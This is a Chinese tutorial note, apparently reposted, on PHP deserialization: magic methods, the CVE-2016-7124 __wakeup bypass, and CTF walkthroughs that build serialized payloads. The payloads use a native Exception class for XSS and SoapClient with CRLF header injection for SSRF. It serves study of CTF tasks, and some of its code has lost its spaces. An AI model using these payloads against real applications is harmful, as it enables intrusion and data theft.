Day46 PHP反序列化原生类漏洞绕过公私有属性
创始人
2024-05-13 03:24:27
0

#方法&属性-调用详解&变量数据详解

对象变量属性:

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

序列化数据显示:

private属性序列化的时候格式是%00类名%00成员名

protect属性序列化的时候格式是%00*%00成员名

具体代码:

header("Content-type: text/html; charset=utf-8");

/*public private protected说明

class test{

public $name="xiaodi";

private $age="29";

protected $sex="man";

}

$a=new test();

$a=serialize($a);

print_r($a);

*/

/*__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct

class Test{

public $name;

public $age;

public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。

public function __construct($name, $age, $string){

echo "__construct 初始化"."
";

$this->name = $name;

$this->age = $age;

$this->string = $string;

}

// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。

/*

* 当对象销毁时会调用此方法

* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

*//*

function __destruct(){

echo "__destruct 类执行完毕"."
";

}

}

// 主动销毁

$test = new Test("Spaceman",566, 'Test String');

unset($test);

echo '第一种执行完毕'.'
';

echo '----------------------
';

// 程序结束自动销毁

$test = new test("Spaceman",566, 'Test String');

echo '第二种执行完毕'.'
';

*/

/*__toString():在对象当做字符串的时候会被调用

class Test

{

public $variable = 'This is a string';

public function good(){

echo $this->variable . '
';

}

// 在对象当做字符串的时候会被调用

public function __toString()

{

return '__toString
';

}

}

$a = new Test();

$a->good();

//输出调用

echo $a;

*/

/*__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

class Test{

public function good($number,$string){

echo '存在good方法'.'
';

echo $number.'---------'.$string.'
';

}

// 当调用类中不存在的方法时,就会调用__call();

public function __call($method,$args){

echo '不存在'.$method.'方法'.'
';

var_dump($args);

}

}

$a = new Test();

$a->good(566,'nice');

$b = new Test();

$b->spaceman(899,'no');

*/

/*__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数

class Test {

public $n=123;

// __get():访问不存在的成员变量时调用

public function __get($name){

echo '__get 不存在成员变量'.$name.'
';

}

}

$a = new Test();

// 存在成员变量n,所以不调用__get

echo $a->n;

echo '
';

// 不存在成员变量spaceman,所以调用__get

echo $a->spaceman;

*/

/*__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

class Test{

public $data = 100;

protected $noway=0;

// __set():设置对象不存在的属性或无法访问(私有)的属性时调用

/* __set($name, $value)

* 用来为私有成员属性设置的值

* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。

public function __set($name,$value){

echo '__set 不存在成员变量 '.$name.'
';

echo '即将设置的值 '.$value."
";

$this->noway=$value;

}

public function Get(){

echo $this->noway;

}

}

$a = new Test();

// 读取 noway 的值,初始为0

$a->Get();

echo '
';

// 无法访问(私有)noway属性时调用,并设置值为899

$a->noway = 899;

// 经过__set方法的设置noway的值为899

$a->Get();

echo '
';

// 设置对象不存在的属性spaceman

$a->spaceman = 566;

// 经过__set方法的设置noway的值为566

$a->Get();

*/

/*__sleep():serialize之前被调用,可以指定要序列化的对象属性。

class Test{

public $name;

public $age;

public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。

public function __construct($name, $age, $string){

echo "__construct 初始化"."
";

$this->name = $name;

$this->age = $age;

$this->string = $string;

}

// __sleep() :serialize之前被调用,可以指定要序列化的对象属性

public function __sleep(){

echo "当在类外部使用serialize()时会调用这里的__sleep()方法
";

// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值

return array('name', 'age');

}

}

$a = new Test("Spaceman",566, 'Test String');

echo serialize($a);

*/

/*__wakeup:反序列化恢复对象之前调用该方法

class Test{

public $sex;

public $name;

public $age;

public function __construct($name, $age, $sex){

$this->name = $name;

$this->age = $age;

$this->sex = $sex;

}

public function __wakeup(){

echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法
";

$this->age = 566;

}

}

$person = new Test('spaceman',21,'男');

$a = serialize($person);

echo $a."
";

var_dump (unserialize($a));

*/

/*__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

class Person{

public $sex;

private $name;

private $age;

public function __construct($name, $age, $sex){

$this->name = $name;

$this->age = $age;

$this->sex = $sex;

}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。

public function __isset($content){

echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用
";

return isset($this->$content);

}

}

$person = new Person("spaceman", 25,'男');

// public 成员

echo ($person->sex),"
";

// private 成员

echo isset($person->name);

*/

/*__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

class Person{

public $sex;

private $name;

private $age;

public function __construct($name, $age, $sex){

$this->name = $name;

$this->age = $age;

$this->sex = $sex;

}

// __unset():销毁对象的某个属性时执行此函数

public function __unset($content) {

echo "当在类外部使用unset()函数来删除私有成员时自动调用的
";

echo isset($this->$content)."
";

}

}

$person = new Person("spaceman", 21,"男"); // 初始赋值

echo "666666
";

unset($person->name);//调用 属性私有

unset($person->age);//调用 属性私有

unset($person->sex);//不调用 属性共有

*/

/*__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。

class Test{

// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

public function __invoke($param1, $param2, $param3)

{

echo "这是一个对象
";

var_dump($param1,$param2,$param3);

}

}

$a = new Test();

$a('spaceman',21,'男');

*/

?>

#CTF-语言漏洞-__wakeup()方法绕过

[极客大挑战 2019]PHPCVE-2016-7124

如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,

但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1、下载源码分析,触发flag条件

2、分析会触发调用__wakeup 强制username值

3、利用语言漏洞绕过 CVE-2016-7124

4、构造payload后 修改满足漏洞条件触发

Pyload:

select=O%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B%7D

#CTF-方法原生类-获取&利用&配合其他

参考案例:https://www.anquanke.com/post/id/264823

-PHP有那些原生类-见脚本使用

-常见使用的原生类-见参考案例

-原生类该怎么使用-见官方说明

0、生成原生类

$classes=get_declared_classes();

foreach($classesas$class){

$methods=get_class_methods($class);

foreach($methodsas$method){

if(in_array($method,array(

'__destruct',

'__toString',

'__wakeup',

'__call',

'__callStatic',

'__get',

'__set',

'__isset',

'__unset',

'__invoke',

'__set_state'

))){

print$class.'::'.$method."\n";

}

}

}

1、本地Demo-xss

highlight_file(__file__);

$a=unserialize($_GET['k']);

echo$a;

?>

-输出对象可调用__toString

-无代码通过原生类Exception

-Exception使用查询编写利用

-通过访问触发输出产生XSS漏洞

$a=newException("");

echourlencode(serialize($a));

?>

2、CTFSHOW-259

-不存在的方法触发__call

-无代码通过原生类SoapClient

-SoapClient使用查询编写利用

-通过访问本地Flag.php获取Flag

$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client=newSoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));

echourlencode(serialize($client));

?>

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
客厅放八骏马摆件可以吗(家里摆... 今天给各位分享客厅放八骏马摆件可以吗的知识,其中也会对家里摆八骏马摆件好吗进行解释,如果能碰巧解决你...
苏州离哪个飞机场近(苏州离哪个... 本篇文章极速百科小编给大家谈谈苏州离哪个飞机场近,以及苏州离哪个飞机场近点对应的知识点,希望对各位有...